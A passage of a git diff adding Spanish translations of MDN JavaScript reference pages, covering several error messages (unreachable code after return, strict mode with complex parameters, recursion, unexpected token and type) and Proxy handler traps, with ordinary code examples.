+  &lt;body&gt;&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{HTMLElement("iframe")}}</li>
+ <li><span class="seoSummary"><a href="/en-US/docs/Web/Security/Same-origin_policy">Política del mismo origen</a></span></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/stmt_after_return/index.html b/files/es/web/javascript/reference/errors/stmt_after_return/index.html
new file mode 100644
index 0000000000..1dd135c3ec
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/stmt_after_return/index.html
@@ -0,0 +1,74 @@
+---
+title: 'Advertencia: codigo inaccesible despues de sentencia de retorno'
+slug: Web/JavaScript/Reference/Errors/Stmt_after_return
+translation_of: Web/JavaScript/Reference/Errors/Stmt_after_return
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">Advertencia: código inaccesible después de sentencia de retorno (Firefox)
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>Advertencia</p>
+
+<h2 id="Qué_va_mal">Qué va mal?</h2>
+
+<p>Código inalcanzable después de una sentencia de retorno puede ocurrir en estas situaciones:</p>
+
+<ul>
+ <li>Cuando se usa una expresión despues de una sentencia {{jsxref("Statements/return", "return")}}</li>
+ <li>Cuando se usa una sentencia de retorno sin punto y coma pero inluye una expresion directamente despues.</li>
+</ul>
+
+<p>Cuando una expresion existe después de una sentencia de retorno válida, se da una advertencia para indicar que el código después de la sentencia de retorno es inalcanzable, lo que significa que nunca será ejecutado.</p>
+
+<p>¿Porqué deberia tener un punto y coma despues de la sentencia de retorno? En el caso de sentencias sin punto y coma, estas pueden no ser claras, puede que el desarrollador intentara retornar el resultado de la sentencia en la siguiente línea, o detener la ejecución y retornar. La advertencia indica que hay una ambiguedad en la forma en la que la sentencia de retorno está escrita.</p>
+
+<p>Advertencias no seran mostradas por retornos sin punto y coma si la sentencia lo sigue:</p>
+
+<ul>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/var", "var")}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Casos_invalidos">Casos invalidos</h3>
+
+<pre class="brush: js example-bad">function f() {
+  var x = 3;
+  x += 4;
+  return x;   // return sale de la funcion inmediatamente
+  x -= 3;     // esta linea nunca se ejecutara ; es inalcanzable
+}
+
+function f() {
+  return     // es tratado como `return;`
+    3 + 4;   //la funcion regresa, y esta linea nunca es alcanzada
+}
+</pre>
+
+<h3 id="Casos_validos">Casos validos</h3>
+
+<pre class="brush: js example-good">function f() {
+  var x = 3;
+  x += 4;
+  x -= 3;
+  return x;  // OK: regreso despues de todas las otras declaraciones
+}
+
+function f() {
+  return 3 + 4  // OK: sin punto y coma regresa la expresion en la misma linea
+}
+</pre>
+
+<h2 id="Ve_tambien">Ve tambien</h2>
+
+<ul>
+ <li>{{jsxref("Statements/return", "Automatic Semicolon Insertion", "#Automatic_Semicolon_Insertion", 1)}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/strict_y_parámetros_complejos/index.html b/files/es/web/javascript/reference/errors/strict_y_parámetros_complejos/index.html
new file mode 100644
index 0000000000..2ca6ef8de4
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/strict_y_parámetros_complejos/index.html
@@ -0,0 +1,117 @@
+---
+title: 'SyntaxError: "use strict" no permitida en función con parámetros complejos'
+slug: Web/JavaScript/Reference/Errors/Strict_y_parámetros_complejos
+tags:
+  - Error
+  - JavaScript
+  - TypeError
+  - errores
+translation_of: Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params
+---
+<div>{{jsSidebar("Errors", "Errores")}}</div>
+
+<p>La excepción de JavaScript: "<code>'use strict' no permitida en función</code>" ocurre cuando se usa una directiva <code>"use strict"</code> en la parte superior de una función con {{jsxref("Functions/Default_parameters", "parámetros predeterminados", "", 1)}}, {{jsxref("Functions/rest_parameters", "parámetros rest", "", 1)}} o {{jsxref("Operators/Destructuring_assignment" , "Desestructuración de parámetros", "", 1)}}.</p>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox notranslate">Edge:
+No se puede aplicar el modo estricto en funciones con una lista de parámetros complejos
+
+Firefox:
+SyntaxError: "use strict" no permitido en la función con parámetro predeterminado
+SyntaxError: "use strict" no permitido en la función con parámetro rest
+SyntaxError: "use strict" no permitido en la función con parámetro de desestructuración
+
+Chrome:
+SyntaxError: directiva ilegal 'use strict' en función con una lista de parámetros complejos
+</pre>
+
+<h2 id="Tipo_Error">Tipo <code>Error</code></h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>Se escribió una directiva <code>"use strict"</code> en la parte superior de una función que tiene uno de los siguientes parámetros:</p>
+
+<ul>
+ <li>{{jsxref("Functions/Default_parameters", "Parámetros predeterminados", "", 1)}}</li>
+ <li>{{jsxref("Functions/rest_parameters", "Parámetros rest", "", 1)}}</li>
+ <li>{{jsxref("Operators/Destructuring_assignment", "Desestructuración de parámetros", "", 1)}}</li>
+</ul>
+
+<p>No está permitida una directiva <code>"use strict"</code> en la parte superior de dichas funciones según la especificación ECMAScript.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Declaración_de_función">Declaración de función</h3>
+
+<p>En este caso, la función <code>sum</code> tiene los parámetros predeterminados <code>a = 1</code> y <code>b = 2</code>:</p>
+
+<pre class="brush: js example-bad notranslate">function sum(a = 1, b = 2) {
+  SyntaxError: 'use strict' no permitida en la función con parámetros predeterminados
+  'use strict';
+  return a + b;
+}
+</pre>
+
+<p>Si la función debe estar en <a href="/es/docs/Web/JavaScript/Reference/Strict_mode">modo estricto</a>, y todo el script o la función adjunta también está bien que esté en modo estricto, puedes mover la directiva <code>"use strict"</code> fuera de la función:</p>
+
+<pre class="brush: js example-good notranslate">'use strict';
+function sum(a = 1, b = 2) {
+  return a + b;
+}
+</pre>
+
+<h3 id="Expresión_Function">Expresión <code>Function</code></h3>
+
+<p>Una expresión <code>function</code> puede usar otra solución alternativa:</p>
+
+<pre class="brush: js example-bad notranslate">var sum = function sum([a, b]) {
+  // SyntaxError: "use strict" no permitido en función con parámetros de desestructuración
+  'use strict';
+  return a + b;
+};
+</pre>
+
+<p>Esta se puede convertir a la siguiente expresión:</p>
+
+<pre class="brush: js example-good notranslate">var sum = (function() {
+  'use strict';
+  return function sum([a, b]) {
+    return a + b;
+  };
+})();
+</pre>
+
+<h3 id="Función_de_flecha">Función de flecha</h3>
+
+<p>Si una función de flecha necesita acceder a la variable <code>this</code>, puedes usar la función de flecha como función circundante:</p>
+
+<pre class="brush: js example-bad notranslate">var callback = (...args) =&gt; {
+  SyntaxError: "use strict" no permitido en la función con parámetro rest
+  'use strict';
+  return this.run(args);
+};
+</pre>
+
+<p>Esta se puede convertir a la siguiente expresión:</p>
+
+<pre class="brush: js example-good notranslate">var callback = (() =&gt; {
+  'use strict';
+  return (...args) =&gt; {
+    return this.run(args);
+  };
+})();
+</pre>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{jsxref("Strict_mode", "Modo estricto", "", 1)}}</li>
+ <li>{{jsxref("Statements/function", "Declaración de función", "", 1)}}</li>
+ <li>{{jsxref("Operators/function", "Expresión function", "", 1)}}</li>
+ <li>{{jsxref("Functions/Default_parameters", "Parámetros predeterminados", "", 1)}}</li>
+ <li>{{jsxref("Functions/rest_parameters", "Parámetros rest", "", 1)}}</li>
+ <li>{{jsxref("Operators/Destructuring_assignment", "Desestructuración de parámetros", "", 1)}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/too_much_recursion/index.html b/files/es/web/javascript/reference/errors/too_much_recursion/index.html
new file mode 100644
index 0000000000..91ac6d7973
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/too_much_recursion/index.html
@@ -0,0 +1,57 @@
+---
+title: 'InternalError: too much recursion'
+slug: Web/JavaScript/Reference/Errors/Too_much_recursion
+tags:
+  - Error
+  - InternalError
+  - JavaScript
+  - Recursiva
+  - Recursividad
+  - Recursión(2)
+translation_of: Web/JavaScript/Reference/Errors/Too_much_recursion
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">InternalError: too much recursion
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("InternalError")}}.</p>
+
+<h2 id="¿Qué_ha_ido_mal">¿Qué ha ido mal?</h2>
+
+<p>Una función que se llama a sí misma es una función recursiva. Podemos decir que la recursión es análoga a un bucle. Ambos ejecutan el mismo código varias veces y ambos requieren de una condición de fin (para evitar un bucle infinito o recursión infinita). Cuando hay recursión infinita o mucha recursión, JavaScript lanza este error.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Esta función recursiva se ejecuta 10 veces, debido a la condición de salida. </p>
+
+<pre class="brush: js">function loop(x) {
+  if (x &gt;= 10) // "x &gt;= 10" es la condición de salida
+    return;
+  // hacer cosas
+  loop(x + 1); // llamada recursiva
+}
+loop(0);</pre>
+
+<p>Si establecemos esta condición para un valor muy alto, no funcionará:</p>
+
+<pre class="brush: js example-bad">function loop(x) {
+  if (x &gt;= 1000000000000)
+    return;
+  // hacer cosas
+  loop(x + 1);
+}
+loop(0);
+
+// InternalError: too much recursion (demasiada recursión)</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{Glossary("Recursion")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions#Recursion">Recursive functions</a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/undefined_prop/index.html b/files/es/web/javascript/reference/errors/undefined_prop/index.html
new file mode 100644
index 0000000000..96f7e050de
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/undefined_prop/index.html
@@ -0,0 +1,63 @@
+---
+title: 'ReferenceError: reference to undefined property "x"'
+slug: Web/JavaScript/Reference/Errors/Undefined_prop
+tags:
+  - JavaScript
+  - Modo estricto
+  - ReferenceError
+  - errores
+translation_of: Web/JavaScript/Reference/Errors/Undefined_prop
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">ReferenceError: reference to undefined property "x" (Firefox)
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>Advertencia {{jsxref("ReferenceError")}} únicamente en <a href="/es/docs/Web/JavaScript/Referencia/Modo_estricto">modo estricto</a>.</p>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>El script intentó acceder a una propiedad no definida en un objeto. Hay dos formas de acceder a las propiedades; vea la página <a href="/es/docs/Web/JavaScript/Referencia/Operadores/Miembros">operadores de miembros</a> para aprender más sobre ellas.</p>
+
+<p>Los errores sobre referencias a propiedades no definidas ocurren únicamente en el <a href="/es/docs/Web/JavaScript/Referencia/Modo_estricto">modo de código estricto</a>. En el modo no estricto, estos intentos de obtener propiedades no definidas son silenciosamente ignorados.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Casos_inválidos">Casos inválidos</h3>
+
+<p>En este caso, la propiedad <code>bar</code> no está definida, produciéndose un <code>ReferenceError</code>.</p>
+
+<pre class="brush: js example-bad">'use strict';
+
+var foo = {};
+foo.bar; // ReferenceError: reference to undefined property "bar"
+</pre>
+
+<h3 id="Casos_válidos">Casos válidos</h3>
+
+<p>Para evitar este error, es necesario ya sea definir la propiedad <code>bar</code> en el objeto o verificar su existencia antes de leerla; una manera de hacerlo es usar el método {{jsxref("Object.prototype.hasOwnProperty()")}}, como en el siguiente ejemplo:</p>
+
+<pre class="brush: js example-good">'use strict';
+
+var foo = {};
+
+// Definir la propiedad bar
+
+foo.bar = 'luna';
+console.log(foo.bar); // "luna"
+
+// Prueba para asegurarse que bar existe antes de leerla
+
+if (foo.hasOwnProperty('bar')) {
+  console.log(foo.bar);
+}</pre>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Referencia/Modo_estricto">Modo estricto</a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/unexpected_token/index.html b/files/es/web/javascript/reference/errors/unexpected_token/index.html
new file mode 100644
index 0000000000..02cad6eb2f
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/unexpected_token/index.html
@@ -0,0 +1,50 @@
+---
+title: 'SyntaxError: Unexpected token'
+slug: Web/JavaScript/Reference/Errors/Unexpected_token
+tags:
+  - JavaScript
+  - SyntaxError
+  - errores
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_token
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">SyntaxError: expected expression, got "x"
+SyntaxError: expected property name, got "x"
+SyntaxError: expected target, got "x"
+SyntaxError: expected rest argument name, got "x"
+SyntaxError: expected closing parenthesis, got "x"
+SyntaxError: expected '=&gt;' after argument list, got "x"
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="¿Que_significa_el_error">¿Que significa el error?</h2>
+
+<p>Se esperaba un constructor específico de JavaScript pero se recibió algo diferente. Puede ser un simple error de tipeo.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Se_espera_expresión">Se espera expresión</h3>
+
+<p>Cuando se llama a una función, no se permiten comas al final de los argumentos. JavaScript espera un argumento que puede ser en realidad cualquier tipo de expresión.</p>
+
+<pre class="brush: js example-bad">Math.max(2, 42,);
+// SyntaxError: expected expression, got ')'
+</pre>
+
+<p>El error se corrije omitiendo la coma o agregando otro argumento:</p>
+
+<pre class="brush: js example-good">Math.max(2, 42);
+Math.max(2, 42, 13 + 37);
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.max()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/unexpected_type/index.html b/files/es/web/javascript/reference/errors/unexpected_type/index.html
new file mode 100644
index 0000000000..a53f74c95b
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/unexpected_type/index.html
@@ -0,0 +1,61 @@
+---
+title: 'TypeError: "x" is (not) "y"'
+slug: Web/JavaScript/Reference/Errors/Unexpected_type
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_type
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">TypeError: "x" is (not) "y"
+
+Examples:
+TypeError: "x" is undefined
+TypeError: "x" is null
+TypeError: "undefined" is not an object
+TypeError: "x" is not an object or null
+TypeError: "x" is not a symbol
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>Tipo inesperado. Esto ocurre amenudo con valores {{jsxref("undefined")}} o {{jsxref("null")}} .</p>
+
+<p>Además, ciertos métodos, como {{jsxref ("Object.create ()")}} o {{jsxref("Symbol.keyFor()")}}, requieren de un tipo específico, que debe ser proporcionado, ejemplos</p>
+
+<h3 id="Casos_inválidos">Casos inválidos</h3>
+
+<pre class="brush: js example-bad">// undefined and null cases on which the substring method won't work
+var foo = undefined;
+foo.substring(1); // TypeError: foo is undefined
+
+var foo = null;
+foo.substring(1); // TypeError: foo is null
+
+
+// Certain methods might require a specific type
+var foo = {}
+Symbol.keyFor(foo); // TypeError: foo is not a symbol
+
+var foo = 'bar'
+Object.create(foo); // TypeError: "foo" is not an object or null
+</pre>
+
+<h3 id="Cómo_solucionar_el_problema">Cómo solucionar el problema</h3>
+
+<p>Para fijar un puntero nulo a indefinidos o valores nulos, puede utilizar el operador typeof, por ejemplo</p>
+
+<pre class="brush: js">if (typeof foo !== 'undefined') {
+  // Ahora sabemos que foo está definido, ahora podemos continuar.
+}</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/global_objects/proxy/handler/getownpropertydescriptor/index.html b/files/es/web/javascript/reference/global_objects/proxy/handler/getownpropertydescriptor/index.html
new file mode 100644
index 0000000000..6c050f7f0a
--- /dev/null
+++ b/files/es/web/javascript/reference/global_objects/proxy/handler/getownpropertydescriptor/index.html
@@ -0,0 +1,129 @@
+---
+title: handler.getOwnPropertyDescriptor()
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Proxy
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor
+---
+<div>{{JSRef}}</div>
+
+<div>El método <strong><code>handler.getOwnPropertyDescriptor()</code></strong> captura {{jsxref("Object.getOwnPropertyDescriptor()")}}.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">var p = new Proxy(target, {
+  getOwnPropertyDescriptor: function(target, prop) {
+  }
+});
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>El método <code>getOwnPropertyDescriptor</code> recibe los siguiente parámetros. <code>this</code> está asociado al handler del proxy.</p>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>El objeto destino.</dd>
+ <dt><code>prop</code></dt>
+ <dd>El nombre de la propiedad cuya descripción ha de ser devuelta.</dd>
+</dl>
+
+<h3 id="Valor_Devuelto">Valor Devuelto</h3>
+
+<p>El método <code>getOwnPropertyDescriptor</code> debe devolver un objeto o  <code>undefined</code>.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code><strong>handler.getOwnPropertyDescriptor()</strong></code> captura {{jsxref("Object.getOwnPropertyDescriptor()")}}.</p>
+
+<h3 id="Intercepciones">Intercepciones</h3>
+
+<p>Este método intercepta las siguientes operaciones:</p>
+
+<ul>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</li>
+</ul>
+
+<h3 id="Invariantes">Invariantes</h3>
+
+<p>Si los siguientes invariantes son violados, el proxy lanzará {{jsxref("TypeError")}}:</p>
+
+<ul>
+ <li><code>getOwnPropertyDescriptor</code> debe devolver un objeto o  <code>undefined</code>.</li>
+ <li>No puede devolver que una propiedad no existe si está presente en el objeto como no configurable.</li>
+ <li>No puede devolver que una propiedad no existe si esta está presente como una propiedad propia del objeto destino y el objeto no es extensible.</li>
+ <li>No puede devolver que una propuedad existe, si esta no está presente en el objeto destino y el objeto no es extensible. </li>
+ <li>No puede devolver que una propiedad es no configurable si esta no existe en el objeto destino o si existe pero sí es configurable.</li>
+ <li>El resultado de  <code>Object.getOwnPropertyDescriptor(target)</code> puede ser aplicado al objeto destino mediante <code>Object.defineProperty </code>y no lanzará ningún tipo de excepción.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El siguiente código captura {{jsxref("Object.getOwnPropertyDescriptor()")}}.</p>
+
+<pre class="brush: js">var p = new Proxy({ a: 20}, {
+  getOwnPropertyDescriptor: function(target, prop) {
+    console.log('called: ' + prop);
+    return { configurable: true, enumerable: true, value: 10 };
+  }
+});
+
+console.log(Object.getOwnPropertyDescriptor(p, 'a').value); // "called: a"
+                                                            // 10
+</pre>
+
+<p>El siguiente código viola uno de los invariantes definidos previamente.</p>
+
+<pre class="brush: js">var obj = { a: 10 };
+Object.preventExtensions(obj);
+var p = new Proxy(obj, {
+  getOwnPropertyDescriptor: function(target, prop) {
+    return undefined;
+  }
+});
+
+Object.getOwnPropertyDescriptor(p, 'a'); // TypeError is thrown
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_buscadores">Compatibilidad con buscadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Proxy.handler.getOwnPropertyDescriptor")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/global_objects/proxy/handler/index.html b/files/es/web/javascript/reference/global_objects/proxy/handler/index.html
new file mode 100644
index 0000000000..042e9b50b1
--- /dev/null
+++ b/files/es/web/javascript/reference/global_objects/proxy/handler/index.html
@@ -0,0 +1,83 @@
+---
+title: Proxy handler
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - NeedsTranslation
+  - Proxy
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy
+---
+<div>{{JSRef}}</div>
+
+<p>The proxy's handler object is a placeholder object which contains traps for {{jsxref("Proxy", "proxies", "", 1)}}.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<p>All traps are optional. If a trap has not been defined, the default behavior is to forward the operation to the target.</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</dt>
+ <dd>A trap for {{jsxref("Object.getPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</dt>
+ <dd>A trap for {{jsxref("Object.setPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}</dt>
+ <dd>A trap for {{jsxref("Object.isExtensible")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</dt>
+ <dd>A trap for {{jsxref("Object.preventExtensions")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</dt>
+ <dd>A trap for {{jsxref("Object.getOwnPropertyDescriptor")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}</dt>
+ <dd>A trap for {{jsxref("Object.defineProperty")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}</dt>
+ <dd>A trap for the {{jsxref("Operators/in", "in")}} operator.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}</dt>
+ <dd>A trap for getting property values.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}</dt>
+ <dd>A trap for setting property values.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</dt>
+ <dd>A trap for the {{jsxref("Operators/delete", "delete")}} operator.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}</dt>
+ <dd>A trap for {{jsxref("Object.getOwnPropertyNames")}} and {{jsxref("Object.getOwnPropertySymbols")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}</dt>
+ <dd>A trap for a function call.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}</dt>
+ <dd>A trap for the {{jsxref("Operators/new", "new")}} operator.</dd>
+</dl>
+
+<p>Some non-standard traps are <a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#Proxy">obsolete and have been removed</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>The <code>enumerate</code> handler has been removed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Proxy.handler")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/global_objects/proxy/handler/set/index.html b/files/es/web/javascript/reference/global_objects/proxy/handler/set/index.html
new file mode 100644
index 0000000000..ee5ac155e7
--- /dev/null
+++ b/files/es/web/javascript/reference/global_objects/proxy/handler/set/index.html
@@ -0,0 +1,122 @@
+---
+title: handler.set()
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Proxy
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>handler.set()</strong></code> captura las asignaciones de un valor a una determinada propiedad.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">var p = new Proxy(target, {
+  set: function(target, property, value, receiver) {
+  }
+});
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>El método <code>set</code> recibe los siguientes parámetros.<code>this</code> se asocia al handler.</p>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>El objeto objetivo.</dd>
+ <dt><code>property</code></dt>
+ <dd>El nombre de la propiedad a la que se le asignará el valor.</dd>
+ <dt><code>value</code></dt>
+ <dd>El nuevo valor asignado a la propiedad.</dd>
+ <dt><code>receiver</code></dt>
+ <dd>El objeto al que originalmente iba dirigida la asignación. Normalmente es el proxy. Sin embargo el manejador o <code>set</code> handler puede ser llamado de forma indirecta a través de un prototipo entre otros.</dd>
+ <dd>Por ejemplo, suponga que un escript ejecuta la sentencia <code>obj.name = "jen"</code>, y <code>obj</code> no es un proxy, y no posee la propiedad <code>.name</code>, pero tiene un proxy en su cadena de prototipos. El manejador <code>set</code> de este proxy será llamado y  obj será pasado como el receiver.</dd>
+</dl>
+
+<h3 id="Valor_Devuelto">Valor Devuelto</h3>
+
+<p>El método <code>set</code> debe devolver un valor booleano. Devolverá <code>true</code> para indicar que la asignación se ha llevado a cabo con éxito. Si devuelve <code>false</code>, y la asignación tiene lugar en modo estricto, se lanzará un error de tipo <code>TypeError</code>.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code><strong>handler.set</strong></code> captura la asignación de un valor a una propiedad.</p>
+
+<h3 id="Qué_intercepta">Qué intercepta</h3>
+
+<p>Las siguientes operaciones son capturadas:</p>
+
+<ul>
+ <li>Asignación a propiedades: <code>proxy[foo] = bar</code> y <code>proxy.foo = bar</code></li>
+ <li>Asignación a propiedades heredadas: <code>Object.create(proxy)[foo] = bar</code></li>
+ <li>{{jsxref("Reflect.set()")}}</li>
+</ul>
+
+<h3 id="Invariantes">Invariantes</h3>
+
+<p>Si los siguientes invariantes son violados, el proxy lanzará un {{jsxref("TypeError")}}:</p>
+
+<ul>
+ <li>El valor de la propiedad no puede ser diferente al de la correspondiente propiedad del objeto, si esta es una propiedad no configurable, o sin permisos de escritura.</li>
+ <li>No se puede asignar un valor a una propiedad si la correspondiente propiedad en el objeto objetivo es no configurable y tiene <code>undefined</code> como su atributo [[Set]].</li>
+ <li>En modo estricto, la devolución de <code>false</code> pro parte del manejador <code>set</code> lanzará una excepción del tipo {{jsxref("TypeError")}}.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El siguiente código captura la asignación de un valor a una propiedad.</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  set: function(target, prop, value, receiver) {
+    target[prop] = value
+    console.log('property set: ' + prop + ' = ' + value)
+    return true
+  }
+})
+
+console.log('a' in p)  // false
+
+p.a = 10               // "propiedad asignada: a = 10"
+console.log('a' in p)  // true
+console.log(p.a)       // 10
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
